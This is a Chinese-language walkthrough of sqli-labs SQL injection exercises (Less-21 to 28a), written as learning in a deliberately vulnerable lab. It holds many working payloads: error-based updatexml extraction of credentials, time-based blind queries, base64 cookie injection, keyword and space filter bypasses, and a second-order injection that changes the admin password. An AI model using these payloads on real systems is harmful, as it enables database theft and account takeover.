SQL注入实操Less21-30)

news2024/9/24 1:19:06

文章目录

  • 一、sqli-lab靶场
    • 1.轮子模式总结
    • 2.Less-21
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表信息
      • e.获取列信息
      • f.获取表内数据
    • 3.Less-22
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表信息
      • e.获取列信息
      • f.获取表内数据
    • 4.Less-23
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表信息
      • e.获取列信息
      • f.获取表内数据
    • 5.Less-24
      • a.创建特殊用户
      • b.修改密码
      • c.修改admin密码
    • 6.Less-25
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表信息
      • e.获取列信息
      • f.获取表内数据
    • 7.Less-25a
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表信息
      • e.获取列信息
      • f.获取表内数据
    • 8.Less-26
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表信息
      • e.获取列信息
      • f.获取表内数据
    • 9.Less-26a
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表信息
      • e.获取列信息
      • f.获取表内数据
    • 10.Less-27
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表信息
      • e.获取列信息
      • g.获取表内数据
    • 11.Less-27a
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表信息
      • e.获取列信息
      • f.获取表内数据
    • 12.Less-28
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表信息
      • e.获取列信息
      • f.获取表内数据
    • 13.Less-28a
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表信息
      • e.获取列信息
      • f.获取表内数据
    • 14.Less-29
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表信息
      • e.获取列信息
      • f.获取表内数据
    • 15.Less-30
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表信息
      • e.获取列信息
      • f.获取表内数据
    • 16.Test-1
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表信息
      • e.获取列信息
      • f.获取表内数据
    • 17.Test-2
      • a.注入点判断
      • b.轮子测试
      • c.获取数据库名称
      • d.获取表信息
      • e.获取列信息
      • f.获取表内数据
    • 18.Test-3
      • a.注入点判断
      • b.轮子测试
    • 19.Test-4
      • a.数据库名称获取
      • b.表信息获取
      • c.列信息获取
      • d.表内数据获取
  • 二、SQLMAP基本用法实操
    • 1.查询当前用户下的所有数据库
    • 2.获取教据库中的表名
    • 3.获取数据库的所有用户
    • 4.获取字段内容
    • 5.获取表中的字段名
    • 6.获取数据库用户的密码
    • 7.获取当前网站数据库的名称
    • 8.查看可以使用的payload
    • 9.--is-dba:当前用户是否为管理权限
    • 10.--roles:列出数据库管理员角色
    • 11.--referer: HTTP Referer头伪造
    • 12.--sql-shell:运行自定义SQL语句
    • 13.--os-shell:运行任意操作系统命令
    • 14.--file-read:从数据库服务器中读取文件
    • 15.--file-write --file-dest:上传文件到数据库服务器中
    • 16.sqlmap指定代理服务器
    • 17.-r post注入
    • 18.-r post注入绕过安全狗
    • 19.--tamper:使用内置脚本绕过WAF
  • 三、其他注入方式
    • 1.宽字节注入(32关)
    • 2.堆叠注入(38关)
    • 3.Dnslog对外注入

一、sqli-lab靶场

1.轮子模式总结

到目前为止,我总结了一下出现过的轮子,可以得出一个结论,首先需要知道有几个参数,前面6种都是单参数的,多参数的只能通过报错信息得知,用–+还是#也要看报错情况
① n’ union select 1,2, ’
n可以是1,-1,n’后面可接),select后面看情况设置显示位
② ')–+
)可选,'可换成"
③ ‘) --+(
)可换成)),(可换成((,‘可换成"
④ " --+或’ #或’ --+
⑤ ’ and if(1=1, sleep(1), 1)#
⑥ ") and sleep(1) #
⑦ ', 1, 1)#
⑧ ‘) and 1 and (’
⑨ ‘||1||’
⑩ '#或‘–+

2.Less-21

a.注入点判断

和20关一样,抓包看下有没有注入,发现一个带cookie的包
在这里插入图片描述

但是怎么加都看不到变化,看起来admin被base编码了
在这里插入图片描述

居然如此那我在编码里做注入
在这里插入图片描述

用YWRtaW4nIw==试下,果然报错了
在这里插入图片描述

再加一个单引号试下,没报错,再加又报错,说明存在sql注入

b.轮子测试

在这里插入图片描述

用YWRtaW4gJ3doZXJlIDE9MSM=测下
在这里插入图片描述

发现单引号右边的都被放到括号里了,我们需要想办法把它放到括号外面
admin ', 1, 1)或admin ', 1)或admin ',都直接输出
在这里插入图片描述

而admin ’
在这里插入图片描述

经过多方测试,发现轮子是admin ‘) and 1 and (’
')是闭合admin,而('是闭合sql里自带的),中间的1给我们自由发挥
记住轮子执行后都不会报错
在这里插入图片描述

c.获取数据库名称

在轮子的基础上将1替换成updatexml(1,concat(0x7e,(SELECT database())),0x7e)
Poc:admin ‘) and updatexml(1,concat(0x7e,(SELECT database())),0x7e) and (’
BASE64:YWRtaW4gICcpIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoU0VMRUNUIGRhdGFiYXNlKCkpKSwweDdlKSBhbmQgKCc=
在这里插入图片描述

d.获取表信息

在轮子的基础上将1替换成
updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ limit 0,1),0x7e), 0x7e)
Poc:admin ‘) and updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ limit 0,1),0x7e), 0x7e) and (’
BASE64:YWRtaW4gICcpIGFuZCB1cGRhdGV4bWwoMSwgY29uY2F0KDB4N2UsKHNlbGVjdCBHUk9VUF9DT05DQVQodGFibGVfbmFtZSkgRlJPTSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIFdIRVJFIHRhYmxlX3NjaGVtYSA9ICdzZWN1cml0eScgbGltaXQgMCwxKSwweDdlKSwgMHg3ZSkgYW5kICgn
在这里插入图片描述

e.获取列信息

在轮子的基础上将1替换成
updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security” limit 0,1),0x7e), 0x7e)
Poc:admin ‘) and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security” limit 0,1),0x7e), 0x7e) and (’
BASE64:YWRtaW4gICcpIGFuZCB1cGRhdGV4bWwoMSwgY29uY2F0KDB4N2UsKHNlbGVjdCBncm91cF9jb25jYXQoY29sdW1uX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfbmFtZT0ndXNlcnMnIGFuZCB0YWJsZV9zY2hlbWE9InNlY3VyaXR5IiBsaW1pdCAwLDEpLDB4N2UpLCAweDdlKSBhbmQgKCc=
在这里插入图片描述

f.获取表内数据

在轮子的基础上将1替换成
updatexml(1, concat(0x7e, (select username from (select username,password from users limit 3, 1) test), “:”, (select password from (select username,password from users limit 3, 1) test2)), 1)
Poc:admin ‘) and updatexml(1, concat(0x7e, (select username from (select username,password from users limit 3, 1) test), “:”, (select password from (select username,password from users limit 3, 1) test2)), 1) and (’
BASE64:YWRtaW4gICcpIGFuZCB1cGRhdGV4bWwoMSwgY29uY2F0KDB4N2UsIChzZWxlY3QgdXNlcm5hbWUgZnJvbSAoc2VsZWN0IHVzZXJuYW1lLHBhc3N3b3JkIGZyb20gdXNlcnMgbGltaXQgMywgMSkgdGVzdCksICI6IiwgKHNlbGVjdCBwYXNzd29yZCBmcm9tIChzZWxlY3QgdXNlcm5hbWUscGFzc3dvcmQgZnJvbSB1c2VycyBsaW1pdCAzLCAxKSB0ZXN0MikpLCAxKSBhbmQgKCc=
在这里插入图片描述

通过此关可以得到一些感悟
看到)LIMIT 0,1这样的报错首先应该想到sql里做了过滤,因此只能将左边作为一个参数还给sql语句,右边作为一个参数补齐给sql,中间造一个给我们自己用
如果是LIMIT 0,1那就没有过滤,可以直接加poc

3.Less-22

看来22关还是cookie注入,这关不能再偷看sql语句了,一定要独立完成

a.注入点判断

一样的,还是被BASE64了
在这里插入图片描述

发现这关变成了加双引号敏感
在这里插入图片描述

看报错好像没做过滤

b.轮子测试

既然没过滤那就直接加#试下
admin “#
果然,没有报错,那么这个轮子” and 1#应该可以用
在这里插入图片描述

c.获取数据库名称

在轮子的基础上将1替换成updatexml(1,concat(0x7e,(SELECT database())),0x7e)
Poc:admin" and updatexml(1,concat(0x7e,(SELECT database())),0x7e)#
BASE4:YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoU0VMRUNUIGRhdGFiYXNlKCkpKSwweDdlKSM=
在这里插入图片描述

d.获取表信息

updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ limit 0,1),0x7e), 0x7e)
Poc:admin" and updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ limit 0,1),0x7e), 0x7e)#
BASE64:YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSwgY29uY2F0KDB4N2UsKHNlbGVjdCBHUk9VUF9DT05DQVQodGFibGVfbmFtZSkgRlJPTSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIFdIRVJFIHRhYmxlX3NjaGVtYSA9ICdzZWN1cml0eScgbGltaXQgMCwxKSwweDdlKSwgMHg3ZSkj
在这里插入图片描述

e.获取列信息

在轮子的基础上将1替换成
updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security” limit 0,1),0x7e), 0x7e)
Poc:admin" and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security” limit 0,1),0x7e), 0x7e)#
BASE64:YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSwgY29uY2F0KDB4N2UsKHNlbGVjdCBncm91cF9jb25jYXQoY29sdW1uX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfbmFtZT0ndXNlcnMnIGFuZCB0YWJsZV9zY2hlbWE9InNlY3VyaXR5IiBsaW1pdCAwLDEpLDB4N2UpLCAweDdlKSM=
在这里插入图片描述

f.获取表内数据

在轮子的基础上将1替换成
updatexml(1, concat(0x7e, (select username from (select username,password from users limit 3, 1) test), “:”, (select password from (select username,password from users limit 3, 1) test2)), 1)
Poc:admin" and updatexml(1, concat(0x7e, (select username from (select username,password from users limit 3, 1) test), “:”, (select password from (select username,password from users limit 3, 1) test2)), 1)#
BASE64:YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSwgY29uY2F0KDB4N2UsIChzZWxlY3QgdXNlcm5hbWUgZnJvbSAoc2VsZWN0IHVzZXJuYW1lLHBhc3N3b3JkIGZyb20gdXNlcnMgbGltaXQgMywgMSkgdGVzdCksICI6IiwgKHNlbGVjdCBwYXNzd29yZCBmcm9tIChzZWxlY3QgdXNlcm5hbWUscGFzc3dvcmQgZnJvbSB1c2VycyBsaW1pdCAzLCAxKSB0ZXN0MikpLCAxKSM=
在这里插入图片描述

4.Less-23

23关又变回了开始的url注入了,看看这回有什么新花招
在这里插入图片描述

a.注入点判断

直接在后面加单引号就发现报错了,再加不会,再加又会,有sql注入
在这里插入图片描述

b.轮子测试

通过这个报错好像没过滤
但是直接加2 '#错误并没消失
you have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '‘2 ‘’ LIMIT 0,1’ at line 1
也就是说虽然是用单引号触发报错,但是id是字符型,被用双引号了
2" and 1 and ‘1#
还是报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘1’ LIMIT 0,1’ at line 1
为啥呢, ‘1这里还有什么问题吗
通过观察发现左边的并不是双引号,而是两个单引号,因此,将后面这两个单引号拆开来,插入 and 1 and ‘3’才发现可以用
2’ and 1 and ‘3’’#
在这里插入图片描述

c.获取数据库名称

在轮子的基础上将1替换成updatexml(1,concat(0x7e,(SELECT database())),0x7e)
Poc:2’ and updatexml(1,concat(0x7e,(SELECT database())),0x7e) and ‘3’'#
在这里插入图片描述

d.获取表信息

在轮子的基础上将1替换成
updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ limit 0,1),0x7e), 0x7e)
Poc:2’ and updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ limit 0,1),0x7e), 0x7e) and ‘3’'#
在这里插入图片描述

e.获取列信息

在轮子的基础上将1替换成
updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security” limit 0,1),0x7e), 0x7e)
Poc:2’ and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security” limit 0,1),0x7e), 0x7e) and ‘3’'#
在这里插入图片描述

f.获取表内数据

在轮子的基础上将1替换成
updatexml(1, concat(0x7e, (select username from (select username,password from users limit 3, 1) test), “:”, (select password from (select username,password from users limit 3, 1) test2)), 1)
Poc:2’ and updatexml(1, concat(0x7e, (select username from (select username,password from users limit 3, 1) test), “:”, (select password from (select username,password from users limit 3, 1) test2)), 1) and ‘3’'#
在这里插入图片描述

5.Less-24

在这里插入图片描述

24关又变回登录模式了
发现这关居然还是存在cookie,试一下看有没有报错

加单引号后输入长度一样,但是这里多出了这段,是不是可以拿来测一下呢

好像也没啥用,看下标题,二级注入是啥意思呢,没办法,新东西只能先网上找找资料了
网上好像叫二次注入

看了别人写的博客后才知道得先创建一个奇葩的账号admin’#
然后去修改这个账号密码可以达到修改admin密码的目的,原因就是sql语句里碰到#会注释后面的内容,嗯,的确很巧妙
那我也来玩一下吧

a.创建特殊用户

先新建这个奇葩用户
在这里插入图片描述在这里插入图片描述

创建成功了

b.修改密码

先用刚才创建的用户登录下,然后修改密码
在这里插入图片描述
在这里插入图片描述

c.修改admin密码

居然成功了,而且居然把admin的密码修改了,这也太绝了
在这里插入图片描述

6.Less-25

a.注入点判断

单引号测试发现存在注入

b.轮子测试

?id=2’#
报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘2’’ LIMIT 0,1’ at line 1
分析下sql语句结构
首先’‘会先给出,因此是不是可以在两个单引号中间注入,像之前的一样
但是,什么情况
2 and 1’#或2 or 1’#
and和or居然都被删除了,那咋整
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘2 1’’ LIMIT 0,1’ at line 1
没关系,咱来个双写绕过
2’ anandd 1 anandd ‘3’'#
在这里插入图片描述

看到没,and出来了

c.获取数据库名称

在轮子的基础上将1替换成updatexml(1,concat(0x7e,(SELECT database())),0x7e)
Poc:2’ anandd updatexml(1,concat(0x7e,(SELECT database())),0x7e) anandd ‘3’'#
在这里插入图片描述

d.获取表信息

在轮子的基础上将1替换成
updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ limit 0,1),0x7e), 0x7e)
2’ anandd updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = “security” limit 0,1),0x7e), 0x7e) anandd ‘3’'#
但是居然报错了
在这里插入图片描述

居然把名字里的or也去掉了,太恶心了,没办法,只能继续双写
Poc:2’ anandd updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM infoorrmation_schema.tables WHERE table_schema = “security” limit 0,1),0x7e), 0x7e) anandd ‘3’'#
在这里插入图片描述

这关告诉我们要细心看回显,少一个两个字母就能说明问题所在

e.获取列信息

在轮子的基础上将1替换成
updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security” limit 0,1),0x7e), 0x7e)
注意了,这里出现了and,也要换掉哦
Poc:2’ anandd updatexml(1, concat(0x7e,(select group_concat(column_name) from infoorrmation_schema.columns where table_name=‘users’ anandd table_schema=“security” limit 0,1),0x7e), 0x7e) anandd ‘3’'#
在这里插入图片描述

f.获取表内数据

在轮子的基础上将1替换成
updatexml(1, concat(0x7e, (select username from (select username,password from users limit 3, 1) test), “:”, (select password from (select username,password from users limit 3, 1) test2)), 1)
一样的or换掉
Poc:2’ anandd updatexml(1, concat(0x7e, (select username from (select username,passwoorrd from users limit 3, 1) test), “:”, (select passwoorrd from (select username,passwoorrd from users limit 3, 1) test2)), 1) anandd ‘3’'#
在这里插入图片描述细心,细心,再细心,知道不

7.Less-25a

a.注入点判断

看标题是盲注,且过滤了and和or,果然,输入单引号没报错
输入1 and 1=1,和1 and 1=2结果不同,第一个可以输入用户密码
也就是说盲注并不一定一定要看到错误才行,只要有正确结果也可以

b.轮子测试

轮子就是2 anandd if(1=1, sleep(1), 1)
在这里插入图片描述

延迟1秒,轮子可用
而2 anandd if(1=2, sleep(1), 1)
在这里插入图片描述

c.获取数据库名称

先判断数据库名称长度
2 anandd if(length(database())=8, sleep(1), 1)
在这里插入图片描述

延迟1秒,正确
接下来爆破数据库名称
poc:2 anandd if(substr(substr((database()), 1),1,1) = ‘s’, sleep(1), 1)
在这里插入图片描述

d.获取表信息

长度判断:2 anandd if(length(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1)) =29, sleep(1), 1)
在这里插入图片描述

延迟1秒,正确
爆破表名称
Poc:2 anandd if(substr(substr((select GROUP_CONCAT(table_name) FROM infoorrmation_schema.tables WHERE table_schema = ‘security’), 1),1,1) = ‘s’, sleep(1), 1)
在这里插入图片描述

e.获取列信息

长度判断:2 anandd if(length(substr((select group_concat(column_name) from infoorrmation_schema.columns where table_name=‘users’ anandd table_schema=“security”), 1)) =20, sleep(1), 1)
在这里插入图片描述

延迟1秒,正确
爆破列名称
2 anandd if(substr(substr((select group_concat(column_name) from infoorrmation_schema.columns where table_name=‘users’ anandd table_schema=‘security’), 1),1,1) = ‘s’, sleep(1), 1)
在这里插入图片描述

f.获取表内数据

长度判断:
2 anandd if(length(substr((select group_concat(username, ‘:’, passwoorrd) from users), 1)) =210, sleep(1), 1)
在这里插入图片描述

爆破表内数据
2 anandd if(substr(substr((select group_concat(username, ‘:’, passwoorrd) from users), 1),1,1) = ‘s’, sleep(1), 1)
在这里插入图片描述

发现爆破时开启多线程会报错,没办法,看来这个只能慢慢跑了

8.Less-26

在这里插入图片描述

看这关好像要过滤注释,还真是,除了and or被过滤之外注释也被过滤
2’–+不管用了,照样报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘2’’ LIMIT 0,1’ at line 1
2’a#
在这里插入图片描述

a.注入点判断

注入点是有的,但是都被过滤了,接下来只能看怎么绕了

b.轮子测试

同样的错误之前这个轮子是可以的2’ anandd 1 anandd ‘3’‘#
但是加了过滤之后就变成这样了
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘and1and’3’’’ LIMIT 0,1’ at line 1
也就是说它连空格都去掉了,这个过滤得有点狠了,没办法,只能上网上找答案了
经过多方测试,发现只有这种情况符合,不用再纠结要不要用注释#了
2’||1||’
在这里插入图片描述

c.获取数据库名称

在轮子的基础上将1替换成updatexml(1,concat(0x7e,(SELECT database())),0x7e)
同时用括号替代空格
Poc:2’||updatexml(1,concat(0x7e,(SELECT (database()))),0x7e)||’
在这里插入图片描述

d.获取表信息

在轮子的基础上将1替换成
updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’),0x7e), 0x7e)
记住需要在有空格的地方增加()
Poc:2’||updatexml(1, concat(0x7e,(select (GROUP_CONCAT(table_name)) FROM (infoorrmation_schema.tables) WHERE (table_schema = ‘security’)),0x7e), 0x7e)||’
在这里插入图片描述

e.获取列信息

在轮子的基础上将1替换成
updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security” ),0x7e), 0x7e)
Poc:2’||updatexml(1, concat(0x7e,(select (group_concat(column_name)) from (infoorrmation_schema.columns) where (table_name=‘users’) anandd (table_schema=“security”) ),0x7e), 0x7e)||’
在这里插入图片描述

f.获取表内数据

在轮子的基础上将1替换成
updatexml(1, concat(0x7e,(select group_concat(username,“:”, password) from users where id = 4),0x7e), 0x7e)
2’||updatexml(1, concat(0x7e,(select group_concat(username,“:”, password) from users where id = 4),0x7e), 0x7e)||’
在这里插入图片描述

必要的地方加上括号后
Poc:2’||updatexml(1, concat(0x7e,(select (group_concat(username,“:”, passwoorrd)) from (users) where (id) = 4),0x7e), 0x7e)||’
在这里插入图片描述

其中id=4可以自己换取要拿第几行数据,如
在这里插入图片描述

空格绕过我查了很多资料,可是发现通通没用,在这里只能用括号饶过

9.Less-26a

在这里插入图片描述

看来这关是url注入时过滤注释 and or 空格
行吧,看看咱怎么绕过去

a.注入点判断

加单引号周期性报错,说明有注入空间

b.轮子测试

拿上一关的轮子试下2’||1||’
没报错,难道可以用?
2’||updatexml(1,concat(0x7e,(SELECT (database()))),0x7e)||’
没结果,这关不能用报错注入,还是得用盲注
用2 (anandd) if(1=1, sleep(1), 1)居然没看到延迟,这可咋弄
1’) anandd (if(1=1, sleep(1), 1)) anandd('1
原来有个括号,需要闭合,这种没有报错信息的也只能用经验试了
在这里插入图片描述

c.获取数据库名称

先判断数据库名称长度
1’) anandd (if(length(database())=8, sleep(1), 1)) anandd('1
在这里插入图片描述

延迟1秒,正确
接下来爆破数据库名称
poc:1’) anandd (if(substr(substr((database()), 1),1,1) = ‘s’, sleep(1), 1)) anandd('1
在这里插入图片描述

d.获取表信息

长度判断:1’) anandd (if(length(substr((select (GROUP_CONCAT(table_name)) FROM (infoorrmation_schema.tables) WHERE (table_schema = ‘security’)), 1)) =29, sleep(1), 1)) anandd('1
在这里插入图片描述

延迟1秒,正确
接下来爆破表名称
Poc:1’) anandd (if(substr(substr((select (GROUP_CONCAT(table_name)) FROM (infoorrmation_schema.tables) WHERE (table_schema = ‘security’)), 1),1,1) = ‘s’, sleep(1), 1)) anandd('1
在这里插入图片描述

e.获取列信息

长度判断:1’) anandd (if(length(substr((select (group_concat(column_name)) from (infoorrmation_schema.columns) where (table_name=‘users’) anandd (table_schema=“security”)), 1)) =20, sleep(1), 1)) anandd('1
在这里插入图片描述

延迟1秒,正确
接下来爆破列名称
Poc:1’) anandd (if(substr(substr((select (group_concat(column_name)) from (infoorrmation_schema.columns) where (table_name=‘users’) anandd (table_schema=‘security’)), 1),1,1) = ‘s’, sleep(1), 1)) anandd('1
在这里插入图片描述

f.获取表内数据

长度判断:1’) anandd (if(length(substr((select (group_concat(username, ‘:’, passwoorrd)) from (users)), 1)) =210, sleep(1), 1)) anandd('1
在这里插入图片描述

延迟1秒,正确
接下来爆破列名称
Poc:1’) anandd (if(substr(substr((select (group_concat(username, ‘:’, passwoorrd)) from (users)), 1),1,1) = ‘s’, sleep(1), 1)) anandd('1
在这里插入图片描述

10.Less-27

在这里插入图片描述

27关union和select也不让用了,那还能怎么查

a.注入点判断

还好不用盲猜,有报错,估计27a就是盲注了
在这里插入图片描述

b.轮子测试

还是拿之前那个轮子试下2’||1||',很好没报错,估计可以用,这关应该主要考过滤

c.获取数据库名称

在轮子的基础上将1替换成updatexml(1,concat(0x7e,(SELECT database())),0x7e)
同时用括号替代空格
Poc:2’||updatexml(1,concat(0x7e,(SELECT (database()))),0x7e)||’
在这里插入图片描述

d.获取表信息

关键的地方要来了
在轮子的基础上将1替换成
updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’),0x7e), 0x7e)
2’||updatexml(1, concat(0x7e,(select (GROUP_CONCAT(table_name)) FROM (information_schema.tables) WHERE (table_schema = ‘security’)),0x7e), 0x7e)||’
但是,果然报错了
Hint: Your Input is Filtered with following result: 2’||updatexml(1,concat(0x7e,((GROUP_CONCAT(table_name))FROM(information_schema.tables)WHERE(table_schema=‘security’)),0x7e),0x7e)||’
看到没,select没了
但是用大小写绕过居然成功了
Poc:2’||updatexml(1, concat(0x7e,(SeLEcT (GROUP_CONCAT(table_name)) FROM (information_schema.tables) WHERE (table_schema = ‘security’)),0x7e), 0x7e)||’
在这里插入图片描述

e.获取列信息

在轮子的基础上将1替换成
updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security” ),0x7e), 0x7e)
Poc:2’||updatexml(1, concat(0x7e,(SeLEcT (group_concat(column_name)) from (information_schema.columns) where (table_name=‘users’) and (table_schema=“security” )),0x7e), 0x7e)||’
在这里插入图片描述

g.获取表内数据

在轮子的基础上将1替换成
updatexml(1, concat(0x7e,(select group_concat(username,“:”, password) from users where id = 4),0x7e), 0x7e)
Poc:2’||updatexml(1, concat(0x7e,(SeLEcT (group_concat(username,“:”, password)) from (users) where (id = 4)),0x7e), 0x7e)||’
在这里插入图片描述

11.Less-27a

空格用%0A替换,select和union使用大小写绕过

a.注入点判断

发现对双引号敏感,出现周期性报错,说明存在注入

b.轮子测试

轮子0"uNiOn%0ASeLEcT%0A1,2,3%0A uNiOn%0A SeLEcT%0A 1,2,"
(原型是0"union select 1,2,3 union select 1,2,")
在这里插入图片描述

发现没有报错,应该可以用

c.获取数据库名称

在轮子的基础上将3替换成database()
Poc:0"uNiOn%0ASeLEcT%0A1,2,database()%0A uNiOn%0A SeLEcT%0A 1,2,"
在这里插入图片描述

d.获取表信息

在轮子的基础上将3替换成
updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’),0x7e), 0x7e)
0"uNiOn %0A SeLEcT %0A 1,2,updatexml(1,concat(0x7e,(SeLEcT %0A%20 GROUP_CONCAT(table_name) %0A FROM%0A information_schema.tables%0A WHERE%0A table_schema = ‘security’),0x7e), 0x7e) %0A uNiOn %0A SeLEcT %0A%20%20 1,2,"
在这里插入图片描述

但是发现这里不能用报错注入,所以界面还是没结果
在这里插入图片描述

所以需要去除updatexml,在轮子的基础上将3替换成GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=‘security’
Poc:0"uNiOn%0A SeLEcT%0A 1, 2, GROUP_CONCAT(table_name)%0AFROM%0A information_schema.tables%0A WHERE%0A table_schema=‘security’ %0AuNiOn %0ASeLEcT %0A1,2,"
在这里插入图片描述

e.获取列信息

在轮子的基础上将3替换成
group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”
Poc:0"uNiOn%0ASeLEcT%0A1,2,group_concat(column_name) %0Afrom %0Ainformation_schema.columns%0Awhere%0Atable_name=‘users’%0Aand%0Atable_schema=“security” %0AuNiOn %0ASeLEcT %0A1,2,"
在这里插入图片描述

f.获取表内数据

在轮子的基础上将3替换成
group_concat(username,“:”, password) from users where id = 4
Poc:0"uNiOn%0ASeLEcT%0A1,2,group_concat(username,“:”,password) %0Afrom %0Ausers %0Awhere%0A id = 4 %0AuNiOn %0ASeLEcT %0A1,2,"
在这里插入图片描述

通过这关我们可以看到联合注入和报错注入的区别,他们都可以输出到界面,联合注入不一定要依赖报错注入输出

12.Less-28

a.注入点判断

又变回单引号敏感了,奇数单引号报错,说明存在注入

b.轮子测试

0’uNiOn%0ASeLEcT%0A1,2,3 uNiOn%0ASeLEcT%0A1,2,’
0’uNiOn%0ASeLEcT%0A1,2,3%0A uNiOn%0A SeLEcT%0A 1,2,’
测试后发现大小写绕过也不行了
Hint: Your Input is Filtered with following result: 0’ 1,2,3 1,2,’
发现只要union和select一起出现就会被删掉
使用多写拼接绕过,即绕过连接在一起的那块,两端分别补上我们要的
轮子:
0’)uni on union%0Aselect%0A sel ect%0A1,2,3%0Auni on union%0Aselect%0A sel ect%0A1,2,(’
记住,如果下次看到语法正确,但是没结果,就像这样一样两边给它加个反括号看看
在这里插入图片描述

轮子没报错,应该可以用

c.获取数据库名称

在轮子的基础上将3替换成database()
Poc:0’)uni on union%0Aselect%0A sel ect%0A1,2,database()%0Auni on union%0Aselect%0A sel ect%0A1,2,(’
在这里插入图片描述

d.获取表信息

因为这里不能用报错注入updatexml,因此只能在轮子的基础上将3替换成
GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=‘security’
Poc:0’)uni on union%0Aselect%0A sel ect%0A1,2,GROUP_CONCAT(table_name) %0AFROM%0A information_schema.tables%0A WHERE%0A table_schema=‘security’%0Auni on union%0Aselect%0A sel ect%0A1,2,(’
在这里插入图片描述

e.获取列信息

在轮子的基础上将3替换成
group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”
Poc:0’)uni on union%0Aselect%0A sel ect%0A1,2,group_concat(column_name) %0Afrom %0Ainformation_schema.columns %0Awhere%0A table_name=‘users’ %0Aand %0Atable_schema=“security”%0Auni on union%0Aselect%0A sel ect%0A1,2,(’
在这里插入图片描述

f.获取表内数据

在轮子的基础上将3替换成
group_concat(username,“:”, password) from users where id = 4
Poc:0’)uni on union%0Aselect%0A sel ect%0A1,2,group_concat(username,“:”, password) %0Afrom%0A users%0A where%0A id = 4
%0Auni on union%0Aselect%0A sel ect%0A1,2,(’
在这里插入图片描述

13.Less-28a

a.注入点判断

还是单引号奇数报错,说明存在注入

b.轮子测试

0’)union union%0Aselect%0A select%0A1,2,3%0Aunion union%0Aselect%0A select%0A1,2,(’
在这里插入图片描述

直接那上次的轮子去掉两个空格居然没报错

c.获取数据库名称

在轮子的基础上将3替换成database()
Poc:0’)union union%0Aselect%0A select%0A1,2,database()%0Aunion union%0Aselect%0A select%0A1,2,(’
在这里插入图片描述

d.获取表信息

在轮子的基础上将3替换成
